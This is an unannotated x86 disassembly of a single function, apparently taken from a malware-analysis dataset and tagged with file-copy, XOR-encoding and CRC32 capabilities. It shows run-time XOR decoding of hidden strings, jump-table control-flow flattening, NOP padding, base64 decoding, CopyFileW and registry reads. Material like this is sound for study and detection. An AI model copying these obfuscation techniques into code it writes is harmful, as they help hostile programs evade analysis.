Function at 0x4218a5
Capabilities:
Copy file
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x68
push eax
sub esp, 0x2c
mov esi, esp
sub esp, 0x400
mov dword [ebp - 0x18], esp
push eax
mov ebx, esp
push eax
mov dword [ebp - 0x40], esp
sub esp, 0x24
mov dword [ebp - 0x6c], esp
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x60], 0x7ee97ce8
mov dword [ebp - 0x5c], 0x72d070da
mov dword [ebp - 0x58], 0x76ab74ee
mov dword [ebp - 0x54], 0x6ae168d2
mov dword [ebp - 0x50], 0x6e6d6cce
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0x13
ja 0x420cac
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
movzx ecx, byte [ebp + ecx - 0x60]
add eax, 0xc2b37e03
xor eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add al, 0x88
mov ecx, dword [ebp - 0x10]
mov byte [ebp + ecx - 0x60], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 0x14
jb 0x420c80
lea edi, [ebp - 0x60]
lea ecx, [ebp - 0x4c]
push edi
call fcn.0043c0e0
shr eax, 0x1f
jmp dword [eax*4 + 0x447df4]
lea ecx, [ebp - 0x4c]
push 0x410
call fcn.0043c320
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447e0c]
mov eax, dword [case.0x420cbb.4]
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov eax, dword [case.0x420cbb.4]
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
jmp eax
lea ecx, [ebp - 0x4c]
call fcn.0043c4a0
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esi], 0xfd96efe4
mov dword [esi + 4], 0xebe79af9
mov dword [esi + 8], 0xf7ece898
mov dword [esi + 0xc], 0x80ebed94
mov dword [esi + 0x10], 0x9beee983
mov dword [esi + 0x14], 0x88f5edec
mov dword [esi + 0x18], 0x8580e58f
mov dword [esi + 0x1c], 0x81ea83fe
mov dword [esi + 0x20], 0xf9e9edf7
mov dword [esi + 0x24], 0x99fec2e8
mov dword [esi + 0x28], 0x3ccff6f8
mov word [esi + 0x2c], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
cmp eax, 0x2d
ja 0x420daa
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
movzx ecx, byte [esi + ecx]
add eax, 0x364999af
xor eax, ecx
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
add al, 0x1a
mov ecx, dword [ebp - 0x14]
mov byte [esi + ecx], al
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, 0x2e
jb 0x420d80
lea ecx, [ebp - 0x4c]
push 0
push 0x2b
push esi
push edi
call fcn.0043c970
mov ecx, dword [ebp - 0x60]
mov edx, dword [ebp - 0x5c]
xor eax, eax
cmp ecx, edx
sete al
jmp dword [eax*4 + 0x447e24]
mov dword [ebp - 0x74], edx
mov eax, edx
sub eax, ecx
sar eax, 2
imul eax, eax, 0x421
push eax
mov esi, ecx
call fcn.00409cc0
mov edx, esi
add esp, 4
mov esi, dword [ebp - 0x18]
mov ecx, esi
inc ecx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x38], 0
mov ecx, dword [case.0x420dc5.9]
mov dword [ebp - 0x34], eax
mov edi, eax
mov dword [ebp - 0x70], ebx
jmp case.0x420dc5.6
mov esi, dword [ebp - 0x18]
push ebx
call fcn.00403a60
add esp, 4
mov edx, dword [ebp - 0x20]
add edx, 4
mov ecx, dword [case.0x420dc5.9]
mov ebx, dword [ebp - 0x70]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
xor eax, eax
cmp edx, dword [ebp - 0x74]
setne al
jmp dword [eax*4 + 0x447e4c]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x20], edx
mov edi, dword [edx]
jmp dword [0x447e70]
inc ecx
mov dword [ebp - 0x28], ecx
mov ebx, ecx
movzx ecx, byte [ecx]
xor eax, eax
test cl, cl
je 0x420e75
nop
nop
cmp cl, 0x2e
je 0x420e70
movzx ecx, byte [ebx + 1]
inc ebx
test cl, cl
jne 0x420e60
jmp 0x420e72
mov eax, ebx
mov edx, dword [ebp - 0x20]
xor ecx, ecx
test eax, eax
setne cl
mov ebx, dword [ebp - 0x28]
jmp dword [ecx*4 + 0x447eb4]
mov ecx, eax
xor ecx, ebx
mov esi, ebx
not esi
and esi, eax
add esi, esi
mov edi, esi
mov dword [ebp - 0x1c], ecx
sub edi, ecx
mov eax, edi
and eax, 3
mov edx, edi
or edx, 3
imul edx, eax
xor eax, 3
mov ecx, edi
and ecx, 0xfffffffc
imul ecx, eax
add edx, ecx
shr edx, 2
movzx eax, byte [ebx + edi - 1]
cmp eax, 0x3d
je 0x420ec5
cmp eax, 0x2e
jne 0x420ec6
dec edx
movzx eax, byte [ebx + edi - 2]
cmp eax, 0x3d
mov dword [ebp - 0x30], edi
je 0x420ed8
cmp eax, 0x2e
jne 0x420ed9
dec edx
mov edi, dword [ebp - 0x1c]
mov dword [ebp - 0x68], edx
lea eax, [edx + 1]
push eax
call fcn.00409cc0
add esp, 4
mov dword [ebp - 0x24], eax
cmp esi, edi
jne 0x420fa8
mov eax, dword [ebp - 0x68]
mov esi, dword [ebp - 0x24]
mov byte [esi + eax], 0
push esi
call fcn.00402a00
add esp, 4
mov ebx, eax
jmp dword [0x447ebc]
push esi
call fcn.00409cd0
add esp, 4
push ebx
call fcn.004034b0
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
mov edi, dword [ebp - 0x2c]
jmp dword [ecx*4 + 0x447ec4]
mov esi, dword [ebp - 0x40]
mov dword [esi], 0x2580acb5
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
cmp ecx, 3
ja 0x420f88
nop
nop
nop
nop
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
movzx edx, byte [esi + edx]
lea esi, [ecx + 0x5b]
and esi, edx
add ecx, edx
add esi, esi
sub ecx, esi
mov esi, dword [ebp - 0x40]
add ecx, 0xde12f85b
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x14]
add cl, 0x85
mov edx, dword [ebp - 0x10]
mov byte [esi + edx], cl
inc dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
cmp ecx, 4
jb 0x420f50
push esi
push eax
call fcn.00403270
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x447ecc]
mov esi, dword [ebp - 0x18]
jmp 0x4210b3
mov esi, ebx
xor edx, edx
mov edi, 2
jmp 0x420fd3
mov edx, dword [ebp - 0x3c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [edi + 4]
add edi, 2
cmp edi, ecx
mov edi, eax
mov esi, dword [ebp - 0x28]
jae 0x420ef6
mov dword [ebp - 0x1c], edx
movzx eax, byte [esi + edi - 2]
push eax
call fcn.004161d0
add esp, 4
mov ebx, eax
movzx eax, byte [esi + edi - 1]
push eax
call fcn.004161d0
add esp, 4
mov bh, al
shl bl, 2
shr al, 4
and al, 3
or al, bl
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x1c]
mov byte [ecx + edx], al
inc edx
mov ecx, dword [ebp - 0x30]
cmp edi, ecx
jae 0x420fc0
mov eax, dword [ebp - 0x28]
movzx eax, byte [eax + edi]
push eax
mov esi, edx
call fcn.004161d0
mov edx, esi
mov ecx, dword [ebp - 0x30]
add esp, 4
cmp al, 0x40
je 0x420fc0
mov bl, al
shl bh, 4
shr al, 2
and al, 0xf
or al, bh
mov esi, dword [ebp - 0x1c]
lea edx, [esi + 2]
mov dword [ebp - 0x3c], edx
mov edx, dword [ebp - 0x24]
mov byte [edx + esi + 1], al
lea eax, [edi + 1]
cmp eax, ecx
jae 0x420fb3
mov eax, dword [ebp - 0x28]
movzx eax, byte [eax + edi + 1]
push eax
call fcn.004161d0
mov ecx, dword [ebp - 0x30]
add esp, 4
cmp al, 0x40
mov edx, dword [ebp - 0x3c]
je 0x420fc0
shl bl, 6
add al, bl
mov edx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x1c]
mov byte [edx + esi + 2], al
add esi, 3
mov edx, esi
jmp 0x420fc0
movzx ecx, byte [eax]
test cl, cl
mov esi, dword [ebp - 0x18]
je 0x4210ab
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x4210a0
mov word [edi], 0x203a
add edi, 2
movzx eax, byte [esi]
test al, al
je 0x4210cb
mov ecx, dword [ebp - 0x64]
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4210c0
mov byte [edi], 0xa
inc edi
mov al, 1
mov dword [ebp - 0x38], eax
jmp 0x420e0c
xor eax, eax
mov esi, dword [ebp - 0x18]
mov edi, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x20]
jmp dword [eax*4 + 0x447e94]
mov eax, 1
mov esi, dword [ebp - 0x18]
mov edi, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x20]
jmp dword [eax*4 + 0x447e94]
mov byte [esi + 0x3ff], 0
movzx eax, byte [esi]
xor ecx, ecx
test al, al
je case.0x420dc5.33
mov ecx, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp al, 0x2e
je case.0x420dc5.33
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x421120
xor ecx, ecx
xor eax, eax
test ecx, ecx
setne al
jmp dword [eax*4 + 0x447eac]
push 0x400
push 0
push esi
call fcn.00409d40
add esp, 0xc
lea ecx, [ebp - 0x4c]
push ebx
push 0x400
push esi
push edi
call fcn.0043c800
push 0x400
push 0
push esi
call fcn.00409d40
add esp, 0xc
lea ecx, [ebp - 0x4c]
push ebx
push 0x400
push esi
push edi
call fcn.0043c800
jmp dword [0x447e78]
cmp dword [ebx], 0
sete cl
cmp eax, 0xc0000000
setae al
or al, cl
movzx eax, al
jmp dword [eax*4 + 0x447e8c]
mov eax, dword [case.0x420dc5.4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
xor ebx, ebx
test ecx, ecx
jne 0x421351
jmp case.0x420cbb.4
mov ebx, dword [ebp - 0x38]
mov eax, ebx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x447e64]
mov esi, dword [ebp - 0x34]
jmp dword [0x447ef4]
mov esi, dword [ebp - 0x34]
mov edx, dword [ebp - 0x6c]
jmp dword [0x447ed4]
mov byte [edi], 0
mov eax, esi
not eax
and eax, edi
add eax, eax
mov dword [edx], 0x48454670
mov dword [edx + 4], 0x3c2e2f34
mov dword [edx + 8], 0x393f3f30
mov dword [edx + 0xc], 0x3b351772
mov dword [edx + 0x10], 0x10743520
mov dword [edx + 0x14], 0x2a22272a
mov dword [edx + 0x18], 0xd4296c2a
mov word [edx + 0x1c], 0x5227
mov dword [edx + 0x1e], 0
mov word [edx + 0x22], 0
mov ecx, edi
xor ecx, esi
sub eax, ecx
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x23
mov ebx, edx
ja 0x42127c
nop
nop
nop
nop
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
movzx edx, byte [ebx + edx]
add ecx, 0x5c1defbc
xor ecx, edx
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x14]
add cl, 0x75
mov edx, dword [ebp - 0x10]
mov byte [ebx + edx], cl
inc dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x24
jb 0x421250
mov ecx, dword [ebp + 8]
push eax
push esi
push ebx
call fcn.0040a630
mov edx, ebx
jmp case.0x420f99.2
mov eax, edi
sub eax, esi
mov ecx, dword [ebp + 8]
push eax
push esi
push ebx
call fcn.0040a630
mov edx, ebx
jmp dword [0x447edc]
mov byte [edi], 0
mov dword [edx], 0x48454670
mov dword [edx + 4], 0x3c2e2f34
mov dword [edx + 8], 0x393f3f30
mov dword [edx + 0xc], 0x3b351772
mov dword [edx + 0x10], 0x10743520
mov dword [edx + 0x14], 0x2a22272a
mov dword [edx + 0x18], 0xd4296c2a
mov word [edx + 0x1c], 0x5227
mov dword [edx + 0x1e], 0
mov word [edx + 0x22], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0x23
mov ebx, edx
ja 0x421290
nop
nop
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
movzx ecx, byte [ebx + ecx]
add eax, 0x5c1defbc
xor eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add al, 0x75
mov ecx, dword [ebp - 0x10]
mov byte [ebx + ecx], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 0x24
jb 0x421300
jmp 0x421290
mov ebx, eax
jmp dword [0x447ef4]
push esi
call fcn.00409cd0
add esp, 4
and bl, 1
mov ecx, dword [ebp - 0x60]
mov edx, dword [ebp - 0x5c]
test ecx, ecx
je case.0x420cbb.4
cmp ecx, edx
je case.0x420cbb.4
push ecx
call fcn.00409cd0
add esp, 4
jmp case.0x420cbb.4
xor edx, edx
test ecx, ecx
sete dl
mov eax, 0x20119
xor ecx, ecx
jmp dword [edx*4 + 0x447f54]
jmp dword [ecx*4 + 0x447efc]
mov dword [esp + 0x28], 0xc93ac73a
mov dword [esp + 0x2c], 0xcd0bcb0f
mov dword [esp + 0x30], 0xf103cf07
mov dword [esp + 0x34], 0xf506f306
mov dword [esp + 0x38], 0xf904f70f
mov dword [esp + 0x3c], 0xfd3dfb37
mov dword [esp + 0x40], 0xe128ff3d
mov dword [esp + 0x44], 0xe52ae32b
mov dword [esp + 0x48], 0xe914e723
mov dword [esp + 0x4c], 0xed23eb19
mov dword [esp + 0x50], 0x9164ef28
mov dword [esp + 0x54], 0x95559365
mov dword [esp + 0x58], 0x995d9764
mov dword [esp + 0x5c], 0x9d6a9b66
mov dword [esp + 0x60], 0x816c9f7f
mov dword [esp + 0x64], 0x85618314
mov dword [esp + 0x68], 0x897b877a
mov dword [esp + 0x6c], 0x8d698b1e
mov dword [esp + 0x70], 0xb15d8f6f
mov word [esp + 0x74], 0xb3b2
mov byte [ebx + 2], 0
mov word [ebx], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x50
ja 0x4214b0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x28]
add ecx, 0x80fa4a16
xor ecx, edx
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0xc]
add cl, 0x30
mov edx, dword [esp]
mov byte [esp + edx + 0x28], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x51
jb 0x421480
lea ecx, [esp + 0x18]
lea ebp, [esp + 0x28]
push 0
push 0
push eax
push ecx
push ebp
call fcn.004404a0
add esp, 0x14
shr eax, 0x1f
mov ecx, 4
jmp dword [eax*4 + 0x447f04]
lea edi, [esp + 0x90]
lea eax, [esp + 0x20]
push edi
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [esp + 0x38]
call fcn.004408d0
add esp, 0x24
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447f0c]
mov ecx, dword [esp + 0x90]
lea eax, [ecx*2 + 2]
inc ecx
jns 0x42151d
mov eax, 0xffffffff
push eax
call fcn.00409cc0
add esp, 4
mov esi, eax
mov dword [esp + 0x28], 0xc071c20c
mov dword [esp + 0x2c], 0xcc73ce7e
mov dword [esp + 0x30], 0xc87fca6c
mov dword [esp + 0x34], 0xd407d67d
mov dword [esp + 0x38], 0xd06fd274
mov dword [esp + 0x3c], 0xdcdfde79
mov byte [esp + 0x40], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x18
ja 0x4215ab
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x28]
lea edx, [eax + ecx]
add eax, 0xa3
and eax, ecx
add eax, eax
sub edx, eax
add edx, 0x30c66aa3
mov dword [esp + 0xc], edx
mov eax, dword [esp + 0xc]
add al, 0x9a
mov ecx, dword [esp]
mov byte [esp + ecx + 0x28], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x19
jb 0x421570
push edi
push esi
push 0
push ebp
push dword [esp + 0x28]
call fcn.00440ee0
add esp, 0x14
shr eax, 0x1f
mov dword [esp + 8], esi
jmp dword [eax*4 + 0x447f14]
mov dword [esp + 8], 0
jmp dword [0x447f1c]
push esi
call fcn.00409cd0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x18]
mov dword [esp + 0x28], 0xd3d0d1d6
mov dword [esp + 0x2c], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 7
ja 0x421650
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x28]
add ecx, 0xb3ba1ca3
xor ecx, edx
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0xc]
add cl, 0x8a
mov edx, dword [esp]
mov byte [esp + edx + 0x28], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 8
jb 0x421620
mov ecx, dword [0x44ba98]
test ecx, ecx
je 0x421690
mov edx, dword [esp + 0x28]
xor esi, esi
mov edi, dword [0x44ba9c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x421680
inc esi
cmp ecx, esi
jne 0x421670
jmp 0x421690
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne case.default.0x42169a
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
cmp dword [esp + 8], 0
setne al
jmp dword [eax*4 + 0x447f24]
push ebp
call fcn.0043faf0
add esp, 4
cmp dword [esp + 0x28], 1
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x447f2c]
xor ecx, ecx
jmp 0x4216f5
jmp case.0x4216e0.1
push eax
push 1
push dword [0x44baa0]
push ecx
call fcn.0043dc50
add esp, 0x10
xor eax, eax
cmp dword [esp + 8], 0
setne al
jmp dword [eax*4 + 0x447f24]
mov ecx, 2
mov eax, dword [case.0x4214cf.1]
nop
nop
nop
nop
nop
nop
jmp eax
xor eax, eax
cmp ecx, 4
setl al
jmp dword [eax*4 + 0x447f44]
xor edx, edx
cmp ecx, 4
sete dl
mov eax, 0x20119
xor ecx, ecx
jmp dword [edx*4 + 0x447f4c]
xor eax, eax
mov ebx, dword [esp + 8]
test ebx, ebx
sete al
jmp dword [eax*4 + 0x447f5c]
mov ecx, ebx
nop
nop
nop
nop
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x421740
sub eax, ebx
cmp eax, 0xffffffd9
jge 0x421769
mov eax, 0xffffffff
jmp 0x42176c
mov eax, dword [case.0x4216e0.19]
nop
nop
jmp eax
xor ebx, ebx
jmp 0x421f91
add eax, 0x26
push eax
call fcn.00409cc0
add esp, 4
mov esi, eax
mov dword [esp + 0x28], 0x18e41efb
mov dword [esp + 0x2c], 0x14e31aea
mov dword [esp + 0x30], 0x10ea16e9
mov dword [esp + 0x34], 0x2cc912ea
mov dword [esp + 0x38], 0x28d82ed2
mov dword [esp + 0x3c], 0x24db2add
mov dword [esp + 0x40], 0x20d826dc
mov dword [esp + 0x44], 0x3cb32215
mov dword [esp + 0x48], 0x38c73ec3
mov dword [esp + 0x4c], 0x3a3b
mov byte [esp + 0x50], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x28
ja 0x421825
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x28]
lea edx, [eax + ecx]
add edx, 0x6b0d5c52
add eax, 0x6b0d5c52
and eax, ecx
mov ecx, edx
not ecx
and ecx, eax
add ecx, eax
not eax
and eax, edx
sub eax, ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
add al, 0xb3
mov ecx, dword [esp]
mov byte [esp + ecx + 0x28], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x29
jb 0x4217e0
movzx ecx, word [ebx]
mov eax, esi
test cx, cx
je 0x421851
lea edx, [ebx + 2]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x421840
mov word [eax], 0
movzx ecx, word [esp + 0x28]
test cx, cx
je 0x421881
lea edx, [esp + 0x2a]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x421870
mov word [eax], 0
jmp dword [0x447f74]
push ebx
call fcn.00409cd0
add esp, 4
xor eax, eax
cmp word [esi], 0x5b
sete al
jmp dword [eax*4 + 0x447f8c]
xor eax, eax
cmp word [esi], 0x5b
sete al
jmp dword [eax*4 + 0x447f8c]
mov dword [esp + 0x28], 0xb0cdb6f6
mov dword [esp + 0x2c], 0xbc10b215
mov dword [esp + 0x30], 0xb809be0a
mov dword [esp + 0x34], 0x8412ba17
mov dword [esp + 0x38], 0x8023862a
mov dword [esp + 0x3c], 0x8c348222
mov dword [esp + 0x40], 0x88218e3b
mov dword [esp + 0x44], 0x94248a20
mov dword [esp + 0x48], 0x902996e3
mov dword [esp + 0x4c], 0x9c3d923d
mov word [esp + 0x50], 0x9e9d
mov dword [esp + 0x52], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x2d
ja 0x42195e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x28]
add eax, 0x20402491
xor eax, ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
add al, 0xdc
mov ecx, dword [esp]
mov byte [esp + ecx + 0x28], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x2e
jb 0x421930
lea eax, [esp + 0x28]
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [esp + 0x18]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.0043fd00
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447f94]
xor edi, edi
xor ebp, ebp
jmp dword [0x448004]
push esi
call fcn.00409cd0
add esp, 4
xor eax, eax
cmp edi, ebp
sete al
jmp dword [eax*4 + 0x44800c]
xor ebx, ebx
test edi, edi
jne 0x421f5d
jmp 0x421f91
mov dword [esp + 0x88], esi
lea eax, [esp + 0x20]
push 0
push eax
push dword [esp + 0x20]
call fcn.00440070
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
xor ebp, ebp
jmp dword [eax*4 + 0x447f9c]
mov esi, dword [esp + 0x20]
lea eax, [esi + 1]
push eax
call fcn.00409cc0
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [esp + 0x24]
call fcn.00440150
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
xor ebp, ebp
jmp dword [eax*4 + 0x447fa4]
mov esi, dword [esp + 0x20]
mov byte [edi + esi], 0
push 0x20
call fcn.00409cc0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x84], eax
mov ecx, eax
push esi
mov dword [esp + 0x98], edi
push edi
call fcn.00424850
movzx eax, al
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x447fac]
mov dword [esp + 0x28], 0x88878f6a
mov dword [esp + 0x2c], 0x8b87759a
mov dword [esp + 0x30], 0x88727c46
mov dword [esp + 0x34], 0x7d589181
mov dword [esp + 0x38], 0x9f6a959b
mov dword [esp + 0x3c], 0x65644552
mov dword [esp + 0x40], 0x90978d96
mov word [esp + 0x44], 0x3aae
mov dword [esp + 0x46], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x21
ja 0x421b0e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x28]
add eax, 0xdfb9b884
xor eax, ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
add al, 0x65
mov ecx, dword [esp]
mov byte [esp + ecx + 0x28], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x22
jb 0x421ae0
lea eax, [esp + 0x28]
mov ecx, dword [esp + 0x84]
push eax
call fcn.00424a90
xor ecx, ecx
test eax, eax
setne cl
xor esi, esi
jmp dword [ecx*4 + 0x447fb4]
mov ebp, esi
jmp dword [0x447fe4]
mov esi, dword [esp + 0x84]
mov ecx, esi
call fcn.00424c00
push esi
call fcn.00409cd0
add esp, 4
mov eax, dword [case.0x421988.4]
mov edi, dword [esp + 0x94]
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x447ffc]
push edi
call fcn.00409cd0
add esp, 4
mov eax, dword [esp + 0x18]
mov dword [esp + 0x28], 0xd3d0d1d6
mov dword [esp + 0x2c], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 7
ja 0x421bd0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x28]
add ecx, 0xb3ba1ca3
xor ecx, edx
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0xc]
add cl, 0x8a
mov edx, dword [esp]
mov byte [esp + edx + 0x28], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 8
jb 0x421ba0
mov ecx, dword [0x44ba98]
test ecx, ecx
je 0x421c0c
mov edx, dword [esp + 0x28]
xor esi, esi
mov edi, dword [0x44ba9c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x421c00
inc esi
cmp ecx, esi
jne 0x421bf0
jmp 0x421c0c
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x422230
mov edi, ebp
mov ebp, ebx
mov esi, dword [esp + 0x88]
jmp dword [0x448004]
xor eax, eax
cmp edi, ebp
sete al
jmp dword [eax*4 + 0x44800c]
mov eax, ebp
sub eax, edi
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.00409cc0
add esp, 4
mov ebx, eax
mov eax, dword [0x44ba94]
mov dword [esp + 0x28], 0xbde0d31
mov dword [esp + 0x2c], 0x7f909fb
mov dword [esp + 0x30], 0x3f605e5
mov dword [esp + 0x34], 0x1fee01c1
mov dword [esp + 0x38], 0x1bc61dec
mov dword [esp + 0x3c], 0x179a19f9
mov dword [esp + 0x40], 0x132f15f5
mov dword [esp + 0x44], 0x2fc111f4
mov dword [esp + 0x48], 0x2bd72da0
mov dword [esp + 0x4c], 0x27d329c9
mov dword [esp + 0x50], 0x23d625c0
mov dword [esp + 0x54], 0x3fc121d3
mov dword [esp + 0x58], 0x3bce3ddd
mov dword [esp + 0x5c], 0x37bc390a
mov dword [esp + 0x60], 0x33c835c8
mov word [esp + 0x64], 0x3130
mov dword [esp + 0x66], 0
mov byte [esp + 0x6a], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x42
ja 0x421d2a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x28]
lea esi, [ecx + edx]
add ecx, 0x42
and ecx, edx
add ecx, ecx
sub esi, ecx
add esi, 0x777bc442
mov dword [esp + 0xc], esi
mov ecx, dword [esp + 0xc]
add cl, 0xb2
mov edx, dword [esp]
mov byte [esp + edx + 0x28], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x43
jb 0x421cf0
lea ecx, [esp + 0x28]
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0x1e
push ecx
push 0
call eax
mov esi, dword [esp + 0x18]
test esi, esi
jns 0x421d4d
mov eax, 0xffffffff
jmp 0x421d50
lea eax, [esi + esi]
push eax
call fcn.00409cc0
add esp, 4
mov dword [esp + 0x1c], eax
mov eax, dword [0x44ba94]
mov dword [esp + 0x28], 0xdf12d9fd
mov dword [esp + 0x2c], 0xc325dd4f
mov dword [esp + 0x30], 0xc72ac121
mov dword [esp + 0x34], 0xcb5ac505
mov dword [esp + 0x38], 0xcf0ac958
mov dword [esp + 0x3c], 0xf366cd2d
mov dword [esp + 0x40], 0xf7d3f111
mov dword [esp + 0x44], 0xfb0df508
mov dword [esp + 0x48], 0xff1bf96c
mov dword [esp + 0x4c], 0xe30ffd1d
mov dword [esp + 0x50], 0xe70ae11c
mov dword [esp + 0x54], 0xeb0de577
mov dword [esp + 0x58], 0xef02e909
mov dword [esp + 0x5c], 0x9308ed3e
mov dword [esp + 0x60], 0x977c9174
